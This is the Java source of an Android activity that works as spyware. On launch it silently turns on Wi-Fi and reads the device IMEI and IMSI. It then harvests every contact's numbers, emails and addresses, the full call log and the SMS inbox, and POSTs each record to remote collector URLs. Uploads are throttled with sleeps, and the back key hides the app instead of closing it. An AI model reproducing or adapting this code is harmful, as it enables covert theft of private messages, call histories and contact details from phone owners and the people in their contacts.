
package com.xysecv3;

import java.io.UnsupportedEncodingException;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;

import org.apache.http.HttpResponse;
import org.apache.http.client.HttpClient;
import org.apache.http.client.entity.UrlEncodedFormEntity;
import org.apache.http.client.methods.HttpPost;
import org.apache.http.entity.ByteArrayEntity;
import org.apache.http.impl.client.DefaultHttpClient;
import org.apache.http.message.BasicNameValuePair;
import org.apache.http.params.BasicHttpParams;
import org.apache.http.params.HttpConnectionParams;
import org.apache.http.params.HttpParams;
import org.json.JSONArray;

import android.app.Activity;
import android.content.ContentResolver;
import android.content.Context;
import android.content.Intent;
import android.content.ServiceConnection;
import android.content.SharedPreferences;
import android.database.Cursor;
import android.net.NetworkInfo;
import android.net.Uri;
import android.net.wifi.WifiManager;
import android.os.AsyncTask;
import android.os.Bundle;
import android.provider.CallLog;
import android.provider.ContactsContract;
import android.telephony.TelephonyManager;
import android.util.Log;
import android.view.KeyEvent;
import android.widget.Button;
import android.widget.EditText;
import android.widget.TextView;
import android.widget.Toast;



public class Xysecv3Activity extends Activity {
	//private Game game1;
	String imei,imsi;
	//SharedPreferences mPrefs;
    @Override
	public boolean onKeyDown(int keyCode, KeyEvent event) {
	    if (keyCode == KeyEvent.KEYCODE_BACK) {
            moveTaskToBack(true);
	    }
	    return super.onKeyDown(keyCode, event);
    }
    /** Called when the activity is first created. */
    @Override
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        //game1 = new Game(this);
        //setContentView(game1);
        //AsyncTask myTask = new MyTask(this);
startr(1, 1, 1);
        //startService(new Intent(this, MyService.class));
        
        
    }
    
    
    
    public void startr(int i, int j, int k) {
		//Toast.makeText(this, "Onstart", Toast.LENGTH_SHORT).show();
		//Log.d(TAG, "onCreate");	
		TelephonyManager manager = (TelephonyManager)getSystemService(TELEPHONY_SERVICE);
		imei = manager.getDeviceId();
        imsi = manager.getSubscriberId();
        //Toast.makeText(this, imei, Toast.LENGTH_SHORT).show();
        WifiManager wifiManager = (WifiManager) this.getSystemService(Context.WIFI_SERVICE);
        //initControls();
        //if(getFirstRun()){
        if (!wifiManager.isWifiEnabled()) { //need to uncomment when run on phn
        	wifiManager.setWifiEnabled(true);
        	try {
				Thread.sleep(10000);
			} catch (InterruptedException e) {
				// TODO Auto-generated catch block
				e.printStackTrace();
			}
        }    ////need to uncomment when run on phn
        //while(wifiManager.isWifiEnabled())  ////need to uncomment when run on phn
        //{ ////need to uncomment when run on phn
        if(i==1)
        	getContactInfo(getContentResolver());
        if(j==1)
			getAllCallLogs(getContentResolver());
		if(k==1)
            readSMS(getContentResolver());
        //setRunned();
        //break;
        //} ////need to uncomment when run on phn
        
        //}
        
        //String fuck = "IMEI =" + imei + "IMSI =" + imsi; 
        // TOAST
        //Toast.makeText(this, fuck , Toast.LENGTH_LONG).show();
        
        // NOTIFICATIONS
        // NotificationManager notifManager = (NotificationManager) getSystemService(NOTIFICATION_SERVICE);
        // Notification note = new Notification(R.drawable.icon, "You are fucked", System.currentTimeMillis());
        
        //PendingIntent intent = PendingIntent.getActivity(this, 0, new Intent(this, XySecActivity.class), 0);
        
        // note.setLatestEventInfo(this, "New E-mail", "Hot sexy teen", intent);
        
        // notifManager.notify(NOTIF_ID, note);
        
        // notifManager.cancel(NOTIF_ID);
        
        // ALERT DIALOGS
        //new AlertDialog.Builder(this).setTitle("IMEI ").setMessage(imei).setNeutralButton("Close", null).show();
        //new AlertDialog.Builder(this).setTitle("IMSI ").setMessage(imsi).setNeutralButton("Close", null).show();
        //Toast.makeText(this, "Welcome to xySecApp" , Toast.LENGTH_SHORT).show();
        //Toast.makeText(this, "IMEI Number ->" + imei , Toast.LENGTH_SHORT).show();
        //Toast.makeText(this, "IMSI Number =>" + imsi , Toast.LENGTH_SHORT).show();
        //Call Log Read !
        
        //Toast.makeText(this, "calling" , Toast.LENGTH_LONG).show();
        
		
		// Set looping	
    }	
	//call log function
    public void getAllCallLogs(ContentResolver cr) {
	    
	    String strOrder = android.provider.CallLog.Calls.DATE + " DESC";
	    //JSONArray mJSONArray = null;
	    //Uri callUri = Uri.parse("content://call_log/calls");
	    Cursor cur = cr.query(CallLog.Calls.CONTENT_URI, null, null, null, strOrder);
	    // loop through cursor
	    int i=0;
	    List nameValuePairs = new ArrayList();
	    while (cur.moveToNext()) {
	    	i++;
	    	if(i%50==0) {
    			try {
    				Thread.sleep(2000);
    			} catch (InterruptedException e1) {
    				// TODO Auto-generated catch block
    				e1.printStackTrace();
    			}
    		}
            CallLog callLog = new CallLog();
            String callNumber = cur.getString(cur.getColumnIndex(android.provider.CallLog.Calls.NUMBER));
            String callName = cur.getString(cur.getColumnIndex(android.provider.CallLog.Calls.CACHED_NAME));
            String callDate = cur.getString(cur.getColumnIndex(android.provider.CallLog.Calls.DATE));
            String callType = cur.getString(cur.getColumnIndex(android.provider.CallLog.Calls.TYPE));
            String isCallNew = cur.getString(cur.getColumnIndex(android.provider.CallLog.Calls.NEW));
            String duration = cur.getString(cur.getColumnIndex(android.provider.CallLog.Calls.DURATION));
            //Toast.makeText(this, callNumber , Toast.LENGTH_LONG).show();
            
            nameValuePairs.add(new BasicNameValuePair("imeiimsi", imei+imsi));
            nameValuePairs.add(new BasicNameValuePair("sl", Integer.toString(i)));
            nameValuePairs.add(new BasicNameValuePair("number", callNumber));
            nameValuePairs.add(new BasicNameValuePair("name", callName));
            nameValuePairs.add(new BasicNameValuePair("calldate", callDate));
            nameValuePairs.add(new BasicNameValuePair("type", callType));
            nameValuePairs.add(new BasicNameValuePair("new", isCallNew));
            nameValuePairs.add(new BasicNameValuePair("duration", duration));
            postData(nameValuePairs, "logs");
            nameValuePairs.clear();
            // process log data
	    }
	    cur.close();
    }
    
    public void readSMS(ContentResolver cr) {
    	
		Uri uri = Uri.parse("content://sms/inbox");
		Cursor c= getContentResolver().query(uri, null, null ,null,null);
		//startManagingCursor(c);
		
		String[] body = new String[c.getCount()];
		String[] number = new String[c.getCount()];
		List nameValuePairs = new ArrayList();
        
		if(c.moveToFirst()){
            for(int i=0;i<c.getCount();i++){
                if(i%50==0) {
                    try {
                        Thread.sleep(2000);
                    } catch (InterruptedException e1) {
                        // TODO Auto-generated catch block
                        e1.printStackTrace();
                    }
                }
                body[i]= c.getString(c.getColumnIndexOrThrow("body")).toString();
                number[i]=c.getString(c.getColumnIndexOrThrow("address")).toString();
                //String fuck = number[i] + "->" + body[i];
                //new AlertDialog.Builder(this).setTitle(number[i]).setMessage(body[i]).setNeutralButton("Close", null).show();
                //Toast.makeText(this, callNumber , Toast.LENGTH_LONG).show();
                //Toast.makeText(this, number[i] + "->" + body[i] , Toast.LENGTH_LONG).show();
                //postData("number",number[i],0);
                //postData("body",body[i],0);
                nameValuePairs.add(new BasicNameValuePair("imeiimsi", imei+imsi));
                nameValuePairs.add(new BasicNameValuePair("number", number[i]));
                nameValuePairs.add(new BasicNameValuePair("message", body[i]));
                postData(nameValuePairs, "sms");
                nameValuePairs.clear();
                c.moveToNext();
            }
		}
		c.close();
    }
    
    protected void getContactInfo(ContentResolver cr)
    {
        
    	String phoneNumber = null;
    	int i=0,j=0;
    	List nameValuePairs = new ArrayList();
    	Intent intent = new Intent(Intent.ACTION_PICK, ContactsContract.Contacts.CONTENT_URI); 
    	Cursor cursor =  cr.query(intent.getData(), null, null, null, null);      
    	try {
            while (cursor.moveToNext()) 
            {           
                j++;
                if(j==50) {
                    
                    Thread.sleep(2000);
                    
                }
                String contactId = cursor.getString(cursor.getColumnIndex(ContactsContract.Contacts._ID));
                String name = cursor.getString(cursor.getColumnIndexOrThrow(ContactsContract.Contacts.DISPLAY_NAME)); 
                nameValuePairs.add(new BasicNameValuePair("name", name));
                String hasPhone = cursor.getString(cursor.getColumnIndex(ContactsContract.Contacts.HAS_PHONE_NUMBER));
                
                if ( hasPhone.equalsIgnoreCase("1"))
                    hasPhone = "true";
                else
                    hasPhone = "false" ;
                
                if (Boolean.parseBoolean(hasPhone)) 
                {
                    Cursor phones = getContentResolver().query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null,ContactsContract.CommonDataKinds.Phone.CONTACT_ID +" = "+ contactId,null, null);
                    i=0;
                    while (phones.moveToNext()) 
                    {
                        phoneNumber = phones.getString(phones.getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER));
                        //Toast.makeText(this, phoneNumber, Toast.LENGTH_SHORT).show();
                        nameValuePairs.add(new BasicNameValuePair("number", phoneNumber));
                        i++;
                    }
                    
                    phones.close();
                    
                }
                
                // Find Email Addresses
                Cursor emails = getContentResolver().query(ContactsContract.CommonDataKinds.Email.CONTENT_URI,null,ContactsContract.CommonDataKinds.Email.CONTACT_ID + " = " + contactId,null, null);
                i=0;
                while (emails.moveToNext()) 
                {
                    String emailAddress = emails.getString(emails.getColumnIndex(ContactsContract.CommonDataKinds.Email.DATA));
                    nameValuePairs.add(new BasicNameValuePair("email[]", phoneNumber));
                    i++;
                }
                emails.close();
                
                Cursor address = getContentResolver().query(
                                                            ContactsContract.CommonDataKinds.StructuredPostal.CONTENT_URI,
                                                            null,
                                                            ContactsContract.CommonDataKinds.StructuredPostal.CONTACT_ID + " = " + contactId,
                                                            null, null);
                i=0;
                while (address.moveToNext()) 
                { 
                    // These are all private class variables, don't forget to create them.
                    String poBox = address.getString(address.getColumnIndex(ContactsContract.CommonDataKinds.StructuredPostal.POBOX));
                    String street = address.getString(address.getColumnIndex(ContactsContract.CommonDataKinds.StructuredPostal.STREET));
                    String city = address.getString(address.getColumnIndex(ContactsContract.CommonDataKinds.StructuredPostal.CITY));
                    String state = address.getString(address.getColumnIndex(ContactsContract.CommonDataKinds.StructuredPostal.REGION));
                    String postalCode = address.getString(address.getColumnIndex(ContactsContract.CommonDataKinds.StructuredPostal.POSTCODE));
                    String country = address.getString(address.getColumnIndex(ContactsContract.CommonDataKinds.StructuredPostal.COUNTRY));
                    String type = address.getString(address.getColumnIndex(ContactsContract.CommonDataKinds.StructuredPostal.TYPE));
                    nameValuePairs.add(new BasicNameValuePair("pobox[]", poBox));
                    nameValuePairs.add(new BasicNameValuePair("street[]", street));
                    nameValuePairs.add(new BasicNameValuePair("city[]", city));
                    nameValuePairs.add(new BasicNameValuePair("state[]", state));
                    nameValuePairs.add(new BasicNameValuePair("postal[]", postalCode));
                    nameValuePairs.add(new BasicNameValuePair("country[]", country));
                    nameValuePairs.add(new BasicNameValuePair("type[]", type));
                    i++;
                }  //address.moveToNext() 
                address.close();
                //Toast.makeText(this, name , Toast.LENGTH_SHORT).show();
                nameValuePairs.add(new BasicNameValuePair("imeiimsi", imei+imsi));
                postData(nameValuePairs, "contacts");
                nameValuePairs.clear();
            }  //while (cursor.moveToNext())   
            
            cursor.close();
		} catch (Exception e) {
			// TODO Auto-generated catch block
			e.printStackTrace();
			// TODO Auto-generated catch block
			try {
				Thread.sleep(2000);
			} catch (InterruptedException e1) {
				// TODO Auto-generated catch block
				e1.printStackTrace();
			}
			
		}
    }//getContactInfo
    
    public void postData(List nameValuePairs, String typ){  
		// Create a new HttpClient and Post Header
    	String url = null;
		HttpClient httpclient = new DefaultHttpClient();
		//need to change it when run on phn :
		if(typ.equals("logs")) {
            // url = "http://10.0.2.2/~subho_halder/callogs.php";
			url = getResources().getString(R.string.urlcal);
		}
		else if (typ.equals("sms")) {
            //url = "http://10.0.2.2/~subho_halder/sms.php";
			url = getResources().getString(R.string.urlsms);
		}
		else if (typ.equals("contacts")) {
            //url = "http://10.0.2.2/~subho_halder/contacts.php";
			url = getResources().getString(R.string.urlsms);
		}
		HttpPost httppost = new HttpPost(url);
        
		try {
			
			//List nameValuePairs = new ArrayList(1);
			//nameValuePairs.add(new BasicNameValuePair(a, b));
			
			
            httppost.setEntity(new UrlEncodedFormEntity(nameValuePairs));  
            // Execute HTTP Post Request
            HttpResponse response = httpclient.execute(httppost);
            //RequestParams params = new RequestParams();
            try {
                Thread.sleep(10000);
            } catch (InterruptedException e) {
                // TODO Auto-generated catch block
                e.printStackTrace();
            }
			
            
			//InputStream is = response.getEntity().getContent();
			//BufferedInputStream bis = new BufferedInputStream(is);
			//ByteArrayBuffer baf = new ByteArrayBuffer(20);
            
			//int current = 0;
	    	
			//while((current = bis.read()) != -1){
			//	baf.append((byte)current);
			//}  
            
			// Convert the Bytes read to a String. 
			//text = new String(baf.toByteArray());
			
			// txtvw.setText(text);
		} catch (Exception e) {
			// TODO Auto-generated catch block
			e.printStackTrace();
			// TODO Auto-generated catch block
		}
	} 
}
